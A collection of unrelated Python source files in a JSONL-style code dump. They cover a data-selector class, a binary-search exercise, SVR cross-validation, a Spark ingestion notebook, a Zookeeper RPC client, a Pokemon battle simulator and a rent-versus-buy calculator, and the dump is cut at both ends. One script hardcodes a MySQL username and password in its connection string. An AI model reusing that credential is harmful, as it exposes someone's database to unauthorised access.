CollectionClass = FieldCollection\n\n def __init__(self, name, dtype, pattern, frequency='per_session',\n order=None, is_regex=False, from_study=None,\n repository=None, study_=None, collection_=None):\n BaseField.__init__(self, name, dtype, frequency)\n BaseMatch.__init__(self, pattern, is_regex, order,\n from_study, repository,\n study_, collection_)\n super(FieldSelector, self).__init__(name, dtype, frequency)\n\n def __eq__(self, other):\n return (BaseField.__eq__(self, other) and\n BaseMatch.__eq__(self, other))\n\n def __hash__(self):\n return (BaseField.__hash__(self) ^ BaseMatch.__hash__(self))\n\n def initkwargs(self):\n dct = BaseField.initkwargs(self)\n dct.update(BaseMatch.initkwargs(self))\n return dct\n\n def _filtered_matches(self, node):\n if self.is_regex:\n pattern_re = re.compile(self.pattern)\n matches = [f for f in node.fields\n if pattern_re.match(f.name)]\n else:\n matches = [f for f in node.fields\n if f.name == self.pattern]\n if self.from_study is not None:\n matches = [f for f in matches\n if f.from_study == self.from_study]\n if not matches:\n raise ArcanaFilesetSelectorError(\n \"No field names in {} match '{}' pattern\"\n .format(node, self.pattern))\n return matches\n\n def __repr__(self):\n return (\"{}(name='{}', dtype={}, frequency={}, pattern={}, \"\n \"is_regex={}, order={}, from_study={})\"\n .format(self.__class__.__name__, self.name, self.dtype,\n self.frequency, self._pattern, self.is_regex,\n self.order, self._from_study))\n\n @property\n def _specific_collection_kwargs(self):\n return {'dtype': self.dtype}\n","sub_path":"arcana/data/selector.py","file_name":"selector.py","file_ext":"py","file_size_in_byte":15874,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"413872902","text":"'''\n 정렬을 sort()를 이용해서 하고\n 배열의 최댓값과 최솟값의 차이를 이분탐색하여, 최댓값에 도달하게 한다\n'''\nfrom sys import stdin\ndef search(left, right) :\n result = 0\n maxGap = right - left\n minGap = 1\n while True :\n mid = minGap + ((maxGap - minGap) // 2)\n before = left\n cnt = 1\n\n for i in loc[1:]:\n sub = i - before\n if sub >= mid:\n cnt += 1\n before = i\n\n if minGap == maxGap :\n if cnt < wifi :\n result = mid - 1\n break\n else :\n result = mid + 1\n break\n else :\n if cnt > wifi:\n minGap = mid + 1\n elif cnt < wifi:\n maxGap = mid\n else:\n minGap = mid + 1\n\n return result\n\nhouse, wifi = stdin.readline().split()\n\nhouse = int(house)\nwifi = int(wifi)\n\nloc = []\n\nfor i in range(house) :\n loc.append(int(stdin.readline()))\n\nloc.sort()\n\nif wifi == 2 :\n print(loc[house - 1] - loc[0])\nelse :\n print(search(loc[0], loc[house - 1]))","sub_path":"4주차/2110-1.py","file_name":"2110-1.py","file_ext":"py","file_size_in_byte":1149,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"407506225","text":"import time\nimport sys\nimport glob\nfrom utils import *\nfrom sklearn.svm import SVR\n\ndef cv_one_VDS(filename, timeseries_size, p, h, train_perc, k, C, epsilon):\n\t# Load traffic data into a ndarray (2d). 1 traffic timeseries per row\n\ttimeseries = load_timeseries(filename, timeseries_size)\n\n\t# Split timeseries into train and test\n\ttrain_timeseries = split_train_test_timeseries(timeseries, train_perc)[0]\n\n\ttrain_intervals, validation_intervals = train_val_intervals_k_fold_cross_validation(train_timeseries.shape[0], k)\n\tcross_val_rmse, cross_val_mape = 0.0, 0.0\n\tfor i in range(k - 1):\n\t\t\n\t\t# Split into train and validation time series\n\t\ttrain_data = train_timeseries[train_intervals[i, 0] : train_intervals[i, 1], :]\n\t\tvalidation_data = train_timeseries[validation_intervals[i, 0] : validation_intervals[i, 1], :]\n\n\t\t# Create new SVR model\n\t\tsvr = SVR(gamma = 'auto', C = C, epsilon = epsilon)\n\t\tX_train, y_train = create_data(train_data, p, h)\n\t\tX_val, y_val = create_data(validation_data, p, h)\n\n\t\t# Fit SVR on train data\n\t\tsvr.fit(X_train, y_train)\n\n\t\t# Run SVR on validation data\n\t\tval_predictions = svr.predict(X_val)\n\t\t\n\t\t# Compute validation error\n\t\tcross_val_rmse += root_mean_square_error(y_val, val_predictions)\n\t\tcross_val_mape += mean_absolute_percentage_error(y_val, val_predictions)\n\n\t# Compute cross-validation error over all folds\n\tcross_val_rmse /= (k - 1)\n\tcross_val_mape /= (k - 1)\n\n\treturn cross_val_rmse, cross_val_mape\n\n\ndef main():\n\t\n\t# For results reproducibility\n\tnp.random.seed(42)\n\n\t# Read input arguments\n\tpath = sys.argv[1] + '/*.txt'\n\ttimeseries_size = int(sys.argv[2])\n\tp = int(sys.argv[3])\n\th = int(sys.argv[4])\n\ttrain_perc = float(sys.argv[5])\n\tk = int(sys.argv[6])\n\n\tif train_perc >= 1.0:\n\t\ttrain_perc = int(train_perc)\n\n\tfilenames = glob.glob(path)\n\n\tmin_mean_cross_val_mape = 1e5\n\t\n\toptimal_C = -1.0\n\toptimal_epsilon = -1.0\n\n\tC_vals = [1, 10]\n\tepsilon_vals = [0.1, 0.2, 0.3]\n\n\tstart_time = time.time()\n\n\tfor C in C_vals:\n\t\tfor epsilon in epsilon_vals:\n\t\t\tmean_cross_val_rmse = 0.0\n\t\t\tmean_cross_val_mape = 0.0\n\t\t\tnum_of_files = 0\n\t\t\tfor filename in filenames:\n\t\t\t\tcross_val_rmse, cross_val_mape = cv_one_VDS(filename, timeseries_size, p, h, train_perc, k, C, epsilon)\n\t\t\t\tmean_cross_val_rmse += cross_val_rmse\n\t\t\t\tmean_cross_val_mape += cross_val_mape\n\t\t\t\tnum_of_files += 1\n\t\t\tmean_cross_val_rmse /= num_of_files\n\t\t\tmean_cross_val_mape /= num_of_files\n\n\t\t\tprint('C = {}, epsilon = {}, mape = {}'.format(C, epsilon, round(mean_cross_val_mape, 3)))\n\n\t\t\tif mean_cross_val_mape < min_mean_cross_val_mape:\n\t\t\t\tmin_mean_cross_val_mape = mean_cross_val_mape\n\t\t\t\toptimal_C = C\n\t\t\t\toptimal_epsilon = epsilon\n\n\telapsed_time = time.time() - start_time\n\n\t# Print results\n\tprint('\\nOptimal C: {}'.format(optimal_C))\n\tprint('Optimal epsilon: {}'.format(optimal_epsilon))\n\tprint('Optimal cross validation MAPE (%): {}'.format(round(min_mean_cross_val_mape, 3)))\n\tprint('Elapsed time (sec.): {}'.format(round(elapsed_time, 3)))\n\n\nif __name__ == '__main__':\n main()","sub_path":"src/cv_svr.py","file_name":"cv_svr.py","file_ext":"py","file_size_in_byte":2990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"591820986","text":"# Databricks notebook source\n# MAGIC %md ### Ingest lap_times folder\n\n# COMMAND ----------\n\nfrom pyspark.sql.types import StructType, StructField, IntegerType, StringType\nfrom pyspark.sql.functions import current_timestamp, col\n\n# COMMAND ----------\n\nqualifying_schema = StructType(fields=[StructField(\"qualifyId\", IntegerType(), False),\n StructField(\"raceId\", IntegerType(), True),\n StructField(\"driverId\", IntegerType(), True),\n StructField(\"constructorId\", IntegerType(), True),\n StructField(\"number\", IntegerType(), True),\n StructField(\"position\", IntegerType(), True),\n StructField(\"q1\", StringType(), True),\n StructField(\"q2\", StringType(), True), \n StructField(\"q3\", StringType(), True)])\n\n# COMMAND ----------\n\nqualifying_df = spark.read.schema(qualifying_schema).option(\"multiLine\", True).json(\"/mnt/formula1dlsof/raw/qualifying\")\n\n# COMMAND ----------\n\nfinal_df = qualifying_df.withColumnRenamed(\"raceId\", \"race_id\")\\\n .withColumnRenamed(\"driverId\", \"driver_id\")\\\n .withColumnRenamed(\"qualifyId\", \"qualify_id\")\\\n .withColumnRenamed(\"constructorId\", \"constructor_id\")\\\n .withColumn(\"ingestion_date\", current_timestamp())\n\n# COMMAND ----------\n\nfinal_df.write.mode(\"overwrite\").parquet(\"/mnt/formula1dlsof/process/qualifying\")\n\n# COMMAND ----------\n\n","sub_path":"notebooks/formula1/ingestion/8.ingest_qualifying_times_file.py","file_name":"8.ingest_qualifying_times_file.py","file_ext":"py","file_size_in_byte":1647,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"451789853","text":"import json\nimport random\nimport socket\nimport time\n\nfrom kazoo.client import KazooClient\n\nfrom RPC.demo001 import InvalidOperation\nfrom RPC.demo005 import ClientStub\n\n\nclass DistributedChannel(object):\n \"\"\"\n 支持zookeeper的连接 channel\n \"\"\"\n def __init__(self):\n self._zk = KazooClient(hosts='127.0.0.1:2181')\n self._zk.start()\n self._get_servers()\n\n def _get_servers(self, event=None):\n \"\"\"\n 从zookeeper获取服务器地址信息列表\n \"\"\"\n # 回调函数为 _get_servers\n # 在节点值有变化的时候 进行回调更新\n servers = self._zk.get_children('/rpc', watch=self._get_servers)\n print(servers)\n self._servers = []\n for server in servers:\n data = self._zk.get('/rpc/' + server)[0]\n addr = json.loads(data)\n self._servers.append(addr)\n\n def _get_server(self):\n \"\"\"\n 随机选出一个可用的服务器\n \"\"\"\n return random.choice(self._servers)\n\n def get_connection(self):\n \"\"\"\n 提供一个可用的tcp连接\n \"\"\"\n while True:\n # 随机选取一个可用的服务器\n server = self._get_server()\n print(server)\n try:\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sock.connect((server['host'], server['port']))\n except ConnectionRefusedError:\n time.sleep(1)\n continue\n else:\n break\n return sock\n\n\nif __name__ == \"__main__\":\n channel = DistributedChannel()\n\n for i in range(50):\n try:\n stub = ClientStub(channel)\n val = stub.divide(i)\n except InvalidOperation as e:\n print(e.message)\n else:\n print(val)\n time.sleep(1)\n\n","sub_path":"RPC/more_demo004.py","file_name":"more_demo004.py","file_ext":"py","file_size_in_byte":1872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"626605380","text":"import numpy as np\n\nfrom project_a5.simulation.particle import CascadeParticle\nfrom project_a5.simulation.generator import BaseParticleGenerator\n\n\nclass VertexParticleGenerator(BaseParticleGenerator):\n\n \"\"\"Vertex particle generator class.\n\n This class can generate all particles with parameters\n (x, y, energy, direction). The energies are drawn from a powerlaw\n distribution. The vertex and direction is sampled uniformly in the\n provided boundaries.\n\n Attributes\n ----------\n e_min : float\n Minimum energy for the generated particles, must be 0 <= e_min <= e_max\n e_max : float\n Maximum energy for the generated particles, must be 0 <= e_min <= e_max\n gamma : float\n The index of the power law function from which the energies are\n sampled.\n direction : float or None\n The direction of the particle in radians if it is provided.\n If None: the generator will sample directions uniformly in [0, 2pi).\n name : str\n The name of the particle generator.\n x_min : float, optional\n The lower bound for the x-position of the particle vertex.\n x_max : float, optional\n The upper bound for the x-position of the particle vertex.\n y_min : float, optional\n The lower bound for the y-position of the particle vertex.\n y_max : float, optional\n The upper bound for the y-position of the particle vertex.\n \"\"\"\n\n def __init__(self, e_min, e_max, gamma, direction=None,\n particle_class=CascadeParticle,\n x_min=0., x_max=100., y_min=0., y_max=100.,\n name='VertexParticleGenerator',\n particle_args={}):\n \"\"\"Initialize particle generator.\n\n Parameters\n ----------\n e_min : float\n The minimium particle energy to generate.\n This must be greater equal zero and not greater than e_max.\n e_max : float\n The maximum particle energy to generate.\n This must be greater equal zero and not less than e_min.\n gamma : float\n The index of the power law function from which the energies are\n sampled.\n direction : float or None, optional\n The direction of the particle in radians if it is provided.\n If None: the generator will sample directions uniformly\n in [0, 2pi).\n particle_class : BaseParticle class, optional\n A particle class derived from BaseParticle.\n This defines the type of particle that will be created.\n The parameters of the particle class must consist of\n (x, y, energy, direction).\n x_min : float, optional\n The lower bound for the x-position of the particle vertex.\n x_max : float, optional\n The upper bound for the x-position of the particle vertex.\n y_min : float, optional\n The lower bound for the y-position of the particle vertex.\n y_max : float, optional\n The upper bound for the y-position of the particle vertex.\n name : str, optional\n Optional name of the particle generator.\n\n Raises\n ------\n ValueError\n If incorrect boundaries are provided for vertex position.\n \"\"\"\n\n # check limits\n msg = 'Incorrect limits for {}: ({}, {}). Upper limit must not be '\n msg += 'smaller than lower limit.'\n\n assert x_min <= x_max, 'limits must be x_min <= x_max'\n assert y_min <= y_max, 'limits must be y_min <= y_max'\n\n self.x_max = x_max\n self.x_min = x_min\n self.y_min = y_min\n self.y_max = y_max\n\n # call init of the base class\n super().__init__(\n e_min=e_min, e_max=e_max, gamma=gamma,\n direction=direction,\n particle_class=particle_class,\n name=name,\n particle_args=particle_args\n )\n\n def generate(self, num, random_state):\n \"\"\"Generate num new particles.\n\n Parameters\n ----------\n num : int\n The number of particles to generate.\n random_state : RNG object\n The random number generator to use.\n \"\"\"\n\n # create new particle ids\n particle_ids = self._get_particle_ids(num)\n\n # sample necessary parameters\n energies = self._generate_energies(\n num=num,\n e_min=self.e_min,\n e_max=self.e_max,\n gamma=self.gamma,\n random_state=random_state,\n )\n directions = self._generate_directions(\n num=num,\n direction=self.direction,\n random_state=random_state,\n )\n x_values = random_state.uniform(\n low=self.x_min, high=self.x_max, size=num,\n )\n y_values = random_state.uniform(\n low=self.y_min, high=self.y_max, size=num,\n )\n\n # create particles\n particles = []\n for x, y, energy, direction, particle_id in zip(x_values,\n y_values,\n energies,\n directions,\n particle_ids):\n particles.append(self.particle_class(\n energy=energy,\n direction=direction,\n x=x,\n y=y,\n particle_id=particle_id,\n name=self.name,\n **self.particle_args,\n ))\n return particles\n","sub_path":"project_a5/simulation/generator/vertex_generator.py","file_name":"vertex_generator.py","file_ext":"py","file_size_in_byte":5620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"172752799","text":"\"\"\"\nUsed to simulate a random pokemon battle as per the rules of PokemonShowdown.\n\"\"\"\nimport sys\nimport os\nimport re\nimport copy\nimport random\nimport operator\nimport simplejson as json\n\nUSE_STAT_MULT = False\nTEAMSZ = 6\n\ndata = os.path.join(os.path.dirname(__file__), '../data')\ndata_types = json.loads(open('%s/type.json' % data, 'r').read())\ndata_moves = json.loads(open('%s/moves.json' % data, 'r').read())\ndata_pokemon = json.loads(open('%s/pokemon_.json' % data, 'r').read())\ndata_stage_mults = json.loads(open('%s/moves_stage_multipliers.json' % data, 'r').read())\ntype_names = sorted(data_types.keys())\n\ndef calc_damage(attacker, defender, move, crit=False):\n \"calculate modifier and damage\"\n stab = 1.5 if (move.type_ in attacker.types) else 1\n atk = attacker.get('spatk') if move.damage_class == 'special' else attacker.get('atk')\n def_ = defender.get('spdef') if move.damage_class == 'special' else defender.get('def_')\n type_ = reduce(operator.mul, [float(data_types[move.type_][type_names.index(t)]) for t in defender.types])\n #crit = (random.uniform(0, 1.0) < 1/16.0) ? 2 : 1\n #rand = random.uniform(0.85, 1.0)\n crit = 2 if crit else 1\n rand = 0.925\n modifier = stab * type_ * crit * rand\n damage = (2 * attacker.lvl + 10) / 250.0 * atk / float(def_) * move.base_power + 2\n damage *= modifier\n return int(damage)\n\nclass Pokemon:\n NUM_MULTS = 7\n STAGE_MULTS = {}\n\n def __init__(self, name, lvl=85, hp=0, thp=0, atk=0, def_=0, spatk=0, spdef=0, speed=0, types=[], move_names=[]):\n self.__class__.STAGE_MULTS = {Pokemon.stats()[i]: i for i in range(self.__class__.NUM_MULTS)}\n\n self.name = self.clean_name(name)\n self.lvl = int(lvl)\n self.hp = int(hp)\n self.totalhp = self.hp if int(thp) == 0 else int(thp)\n self.atk = int(atk)\n self.def_ = int(def_)\n self.spatk = int(spatk)\n self.spdef = int(spdef)\n self.speed = int(speed)\n self.accuracy = 1.0\n self.evasion = 1.0\n self.types = types\n self.moves = [Move(name) for name in move_names]\n self.stage_multipliers = {name: 0 for name in self.stats()}\n\n def get(self, stat):\n \"\"\"get the Pokemon's stat and adjust for stage multiplier\"\"\"\n formula_stat = lambda base, mult: base * (2 + max(mult, 0)) / (2.0 - min(mult, 0))\n formula_acc = lambda base, mult: base * (3 + max(mult, 0)) / (3.0 - min(mult, 0))\n formula_eva = lambda base, mult: formula_acc(base, -mult)\n\n base = getattr(self, stat)\n mult = self.stage_multipliers[stat]\n if stat == 'accuracy':\n return formula_acc(base, mult)\n if stat == 'evasion':\n return formula_eva(base, mult)\n\n return formula_stat(base, mult)\n\n @staticmethod\n def clean_name(name):\n re_clean_name = re.compile(r\"(.+?)\\s\")\n if re_clean_name.match(name):\n name = re_clean_name.match(name).groups()[0]\n return name\n\n def fill_avgs(self):\n pokemon = data_pokemon[self.name.lower()]\n formula_stat = lambda base, lvl, iv, ev: (((base + iv) * 2 + (ev ** 0.5) / 4.0) * lvl / 100.0) + 5\n formula_hp = lambda base, lvl, iv, ev: formula_stat(base, lvl, iv, ev) + lvl + 5\n\n stats_ = {\n 'hp': 'hp',\n 'attack': 'atk',\n 'defense': 'def_',\n 'special-attack': 'spatk',\n 'special-defense': 'spdef',\n 'speed': 'speed',\n }\n for stat in pokemon['stats']:\n name = stats_[stat['stat']['name']]\n base = stat['base_stat']\n value = formula_stat(base, self.lvl, 31, 85) #IV:31 / EV:85 (averages)\n setattr(self, name, value)\n self.totalhp = self.hp\n\n if self.name == 'shedinja': #lol Pokemon is ridiculous\n self.hp = 1\n\n self.types = [t['type']['name'] for t in pokemon['types']]\n \"pick four random moves\"\n movelist = pokemon['moves'][:]\n random.shuffle(movelist)\n move_names = [m['move']['name'] for m in movelist[:4]]\n self.moves = [Move(m) for m in move_names]\n\n @staticmethod\n def stats():\n return ('atk', 'def_', 'spatk', 'spdef', 'speed',\n 'accuracy', 'evasion')\n\n def attrs(self):\n return ('name', 'lvl', 'hp', 'totalhp', 'atk', 'def_', \n 'spatk', 'spdef', 'speed', 'accuracy', 'evasion', \n 'types', 'moves')\n\n def __hash__(self):\n return hash(self.attrs())\n\n def __values(self):\n #cmp_attrs = [a for a in self.attrs() if a not in ['hp', 'atk', 'def_', 'spatk', 'spdef', 'speed']]\n #cmp_attrs = ['name']\n return (getattr(self, attr) for attr in self.attrs())\n\n def __cmp__(self, other):\n for s, o in zip(self.__values(), other.__values()):\n c = cmp(s, o)\n if c:\n return c\n return 0\n\n def __eq__(self, other):\n other_vals = other.__values() if other is not None else ()\n return [v for v in self.__values()] == [v for v in other_vals]\n\n def __ne__(self, other):\n return not self == other\n\n def __repr__(self):\n return \"<%s>\" % self.__str__()\n\n def __str__(self):\n return \"{0}: {1}%\".format(self.name, int(self.hp / float(self.totalhp) * 100))\n\nclass Move:\n def __init__(self, name, base_power=None, accuracy=None, pp=None, type_=None, placeholder=False):\n self.set_attrs(name, base_power, accuracy, pp, type_)\n self.placeholder = placeholder\n\n def set_attrs(self, name, base_power, accuracy, pp, type_):\n name = name.lower().replace(' ', '-')\n\n #edge-case\n if \"hidden-power\" in name:\n hidden_pwr = name.split(\"hidden-power-\")\n type_ = hidden_pwr[1] if len(hidden_pwr) > 1 else \"normal\"\n name = \"hidden-power\"\n\n move = data_moves[name]\n self.name = name\n self.base_power = move['power'] if not base_power else base_power\n self.accuracy = move['accuracy'] if not accuracy else accuracy\n self.pp = move['pp'] if not pp else pp\n self.type_ = move['type']['name'] if not type_ else type_\n self.special = (move['damage_class']['name'] == \"special\")\n\n self.base_power = int(self.base_power) if self.base_power is not None else 0\n self.accuracy = int(self.accuracy) if self.accuracy is not None else 0\n self.pp = int(self.pp) if self.pp is not None else 0\n self.damage_class = move['damage_class']['name']\n self.effect_chance = 1.0 if move['effect_chance'] is None else move['effect_chance'] / 100.0\n self.has_effect = move['effect_chance'] is not None\n self.meta = move['meta']\n\n def use_move(self, gamestate, ai_turn=True):\n \"\"\"\n Simulate the change in game state after using this move. Returns a list of possible resultant game states.\n \"\"\"\n results = []\n gamestate = copy.deepcopy(gamestate)\n curr, opp = 0 if ai_turn else TEAMSZ, TEAMSZ if ai_turn else 0\n active_self = gamestate[curr]\n active_opp = gamestate[opp]\n\n if self.pp <= 0 or active_self is None:\n return []\n\n if self.name in data_stage_mults and USE_STAT_MULT:\n \"\"\"this move invokes a stat stage multiplier\"\"\"\n mults = data_stage_mults[self.name]\n for stat, mult_self, mult_opp in zip(active_self.stats(), mults['user'], \n mults['opponent']):\n curr_self = active_self.stage_multipliers[stat]\n active_self.stage_multipliers[stat] = max(min(6, curr_self + mult_self), -6) #clamp multiplier between -6, 6\n if active_opp is not None:\n curr_opp = active_opp.stage_multipliers[stat]\n active_opp.stage_multipliers[stat] = max(min(6, curr_opp + mult_opp), -6)\n\n if self.base_power > 0 and active_opp is not None:\n \"\"\"this move does some damage\"\"\"\n dmg = calc_damage(active_self, active_opp, self)\n hit_rate = self.accuracy * active_self.accuracy / active_opp.evasion\n active_opp.hp -= dmg * min(100.0, hit_rate) / 100.0 #weight damage by move accuracy\n\n if active_opp.hp <= 0:\n gamestate[opp] = None\n\n \n \"\"\"apply any abstract effects\"\"\"\n if self.meta['healing'] != 0:\n active_self.hp = min(active_self.totalhp, \n active_self.hp + active_self.totalhp * self.meta['healing'] / 100.0)\n\n if self.meta['drain'] != 0:\n dmg = calc_damage(active_self, active_opp, self)\n active_self.hp = min(active_self.totalhp, \n active_self.hp + dmg * self.meta['drain'] / 100.0)\n\n self.pp -= 1\n results.append(gamestate)\n return results\n\n def attrs(self):\n return ('name', 'base_power', 'pp', 'type_')\n\n def __hash__(self):\n return hash(self.attrs())\n\n def __values(self):\n cmp_attrs = ['name']\n return (getattr(self, attr) for attr in self.attrs())\n\n def __cmp__(self, other):\n for s, o in zip(self.__values(), other.__values()):\n c = cmp(s, o)\n if c:\n return c\n return 0\n\n def __eq__(self, other):\n other_vals = other.__values() if other is not None else ()\n return [v for v in self.__values()] == [v for v in other_vals]\n\n def __ne__(self, other):\n return not self == other\n\n def __repr__(self):\n return \"\" % self.__str__()\n\n def __str__(self):\n return self.name\n\ndef gen_team():\n team = []\n\n team.append(Pokemon('rayquaza', 100, 351, 351, 200, 216, 336, 216, 226, ['dragon', 'flying'], ['draco-meteor', 'earthquake', 'dragon-ascent', 'extreme-speed']))\n team.append(Pokemon('lucario', 100, 281, 281, 200, 176, 266, 176, 216, ['fighting', 'steel'], ['shadow-ball', 'close-combat', 'bullet-punch', 'crunch']))\n team.append(Pokemon('giratina', 100, 441, 441, 259, 276, 212, 276, 216, ['dragon', 'ghost'], ['draco-meteor', 'earthquake', 'dragon-ascent', 'extreme-speed']))\n team.append(Pokemon('dragonite', 85, 276, 276, 259, 192, 201, 201, 167, ['flying', 'dragon'], ['dragon-claw', 'dragon-pulse', 'superpower', 'aqua-tail']))\n team.append(Pokemon('heracross', 100, 301, 301, 286, 186, 116, 226, 206, ['fighting', 'bug'], ['brick-break', 'tackle', 'body-slam', 'megahorn']))\n team.append(Pokemon('cubone', 100, 241, 241, 136, 226, 116, 136, 106, ['ground'], ['earthquake', 'fire-blast', 'fire-punch', 'body-slam']))\n\n for i in range(6):\n team.append(avg_pokemon())\n\n return team\n\ndef avg_pokemon():\n return Pokemon('?', 100, 200, 200, 286, 186, 116, 226, 206, ['normal'], ['brick-break', 'tackle', 'body-slam', 'megahorn'])\n\ndef e_team():\n team = []\n team.append(Pokemon('heracross', 100, 301, 301, 286, 186, 116, 226, 206, ['fighting', 'bug'], ['growth', 'heal-order', 'body-slam', 'megahorn']))\n team.append(Pokemon('cubone', 100, 241, 241, 136, 226, 116, 136, 106, ['ground'], ['meteor-mash', 'giga-drain', 'fire-punch', 'body-slam']))\n\n return team\n\n\n","sub_path":"simulator/simulate.py","file_name":"simulate.py","file_ext":"py","file_size_in_byte":11177,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"476795794","text":"#!/usr/bin/python\nimport os\nimport sys\n\nresults = []\ndata_folder = '../results/auc-rmse-rig/'\nadvs = ['1458', '2259', '2261', '2821', '2997', '3358', '3386', '3427', '3476', 'all']\nalgos = ['imp', 'uimp', 'kimp', 'bid']\ncam_algo_perf = {}\nfor adv in advs:\n for algo in algos:\n ss = []\n fi = open(data_folder + 'test.aucRmse.' + algo + '.' + adv + '.txt', 'r')\n for line in fi:\n ss = line.strip().split()\n break # only one line\n\n if adv not in cam_algo_perf:\n cam_algo_perf[adv] = {}\n cam_algo_perf[adv][algo] = ('%.4f' % float(ss[0]), '%.4f' % float(ss[1]), '%.4f' % float(ss[2]))\nfo = open(data_folder + 'cam-algo-auc-rmse-rig.txt', 'w')\nfo.write('auc\\n')\nfo.write('cam\\t' + '\\t'.join(algos) + '\\n')\nfor adv in advs:\n fo.write(adv)\n for algo in algos:\n fo.write('\\t' + cam_algo_perf[adv][algo][0])\n fo.write('\\n')\n\nfo.write('\\nrmse\\n')\nfo.write('cam\\t' + '\\t'.join(algos) + '\\n')\nfor adv in advs:\n fo.write(adv)\n for algo in algos:\n fo.write('\\t' + cam_algo_perf[adv][algo][1])\n fo.write('\\n')\n\nfo.write('\\nrig\\n')\nfo.write('cam\\t' + '\\t'.join(algos) + '\\n')\nfor adv in advs:\n fo.write(adv)\n for algo in algos:\n fo.write('\\t' + cam_algo_perf[adv][algo][2])\n fo.write('\\n')\nfo.close()\n","sub_path":"python/auc_rmse_perf_rig.py","file_name":"auc_rmse_perf_rig.py","file_ext":"py","file_size_in_byte":1306,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"369567126","text":"#Patrice Camousseigt\nimport trajectoire as tj\n\n\n# spad = normal\nspad = {'vie' : 15, 'portee' : 300, 'angle' : 60, 'degat' : 2.5, 'toutdroit' : tj.toutdroitsp, 'courbedroite' : tj.courbedroitesp,\n 'courbegauche' : tj.courbegauchesp, 'glissadedroite' : tj.glissadedroitesp, 'glissadegauche' : tj.glissadegauchesp}\n\n# fokker = agile bouge vite et esquive bien\nfokker = {'vie' : 10, 'portee' : 350, 'angle' : 55, 'degat' : 2.5, 'toutdroit' : tj.toutdroitfok, 'courbedroite' : tj.courbedroitefok,\n 'courbegauche' : tj.courbegauchefok, 'glissadedroite' : tj.glissadedroitefok, 'glissadegauche' : tj.glissadegauchefok,\n 'pouvoir' : tj.pouvoir, 'pouvoir2' : tj.pouvoir2, 'esquive' : 'on'}\n\n# Peut esquiver missile du tank (Sacrifie 2 manoeuvres pour esquiver)\n\n# sopwith = tank bouge peu mais gros angle de tir et forts degats\nsopwith = {'vie' : 15, 'portee' : 200, 'angle' : 60, 'degat' : 5, 'toutdroit' : tj.toutdroitsop, 'courbedroite' : tj.courbedroitesop,\n 'courbegauche' : tj.courbegauchesop, 'glissadedroite' : tj.glissadedroitesop, 'glissadegauche' : tj.glissadegauchesop,\n 'pouvoir' : tj.pouvoir, 'pouvoir2' : tj.pouvoir2, 'missile' : 4}\n\n# Sur place (Sacrifie 2 manoeuvres pour armer l'avion d'un missile)\n\n\n# albatros = sniper petit angle de tir longue portee\nalbatros = {'vie' : 15, 'portee' : 500, 'angle' : 45, 'degat' : 2, 'toutdroit' : tj.toutdroitalb, 'courbedroite' : tj.courbedroitealb,\n 'courbegauche' : tj.courbegauchealb, 'glissadedroite' : tj.glissadedroitealb, 'glissadegauche' : tj.glissadegauchealb,\n 'pouvoir' : tj.pouvoir, 'pouvoir2' : tj.pouvoir2, 'portee+' : 75, 'angle+' : 50}\n\n# Vise (sacrifie 2 manoeuvre pour augmenter sa portée et son angle de tir durant un tour)\n\n\n\n\n# tj.pouvoir et tj.pouvoir2 sont des trajectoires lors de l'activation de la capacité speciale d'un avion, soucis d'esthetisme\n","sub_path":"avion.py","file_name":"avion.py","file_ext":"py","file_size_in_byte":1891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"377250731","text":"from sqlalchemy import create_engine\r\nfrom sqlalchemy.orm import scoped_session,sessionmaker\r\n\r\nengine = create_engine(\"mysql+mysqlconnector://pal0720:Mozart&bach3@localhost/airlines\")\r\ndb = scoped_session(sessionmaker(bind=engine))\r\n\r\ndef main():\r\n flights = db.execute(\"SELECT * FROM flights\")\r\n for flight in flights:\r\n print(f\"Origin : {flight.origin}, Destination:{flight.destination}, Duration : {flight.duration}\")\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","sub_path":"list.py","file_name":"list.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"436232011","text":"# The reason that renting wins is because we would be spending about $700 a month in real estate + mortgage insurance, home improvements, and utilities. That is already as much as we pay now on rent!\n\n# Home ownership properties\nclosing_costs = 3344.65\nrealitor_fees = 3700\ndown_payment = 10150.90\nhome_price = 150000\nmortgage = 145500\ninterest = .04625\nprincipal = mortgage\nprincipal_and_interest_payment = 748.07\nmaintenance_per_month = 125 #assuming i spend 1500 on maintenance per year\nutilities_own = 250\npredicted_monthly_payment = 1132.95 #this is where mortgage and real estate insurance comes in. \nappreciation = .02\nprofit = 0\nmonthly_interest_payment = (interest / 12)\noverhead_payments = 0\n\n# Rental properties\nRent = 775\nutilities_rent = 50\nsavings = 0\nrenters_insurance_per_month = 12.5\n\n# both\ntotal_payments_before_move = 36 \n\n\n\n\nfor payment in range(total_payments_before_move):\n savings = savings + (predicted_monthly_payment - (Rent + utilities_rent + renters_insurance_per_month)) \n principal = principal - (principal_and_interest_payment - (monthly_interest_payment * principal))\n overhead_payments = overhead_payments + utilities_own + maintenance_per_month + (predicted_monthly_payment - principal_and_interest_payment)\n\n\nprofit = (home_price + (home_price * (appreciation * (total_payments_before_move/12)))) - principal - down_payment - overhead_payments - realitor_fees\n\n\nprint('After ' + str(total_payments_before_move) + ' payments. If you took the additional money that your monthly homeowner payments will cost and put it into your savings you will have ' + str(savings) + ' more dollars in savings')\n\nprint('\\n\\nIf you sold after ' + str(total_payments_before_move) + ' payments, assuming the value of the property increased ' + str(appreciation) + ' per year, you would gain ' + str(profit) + ' dollars' 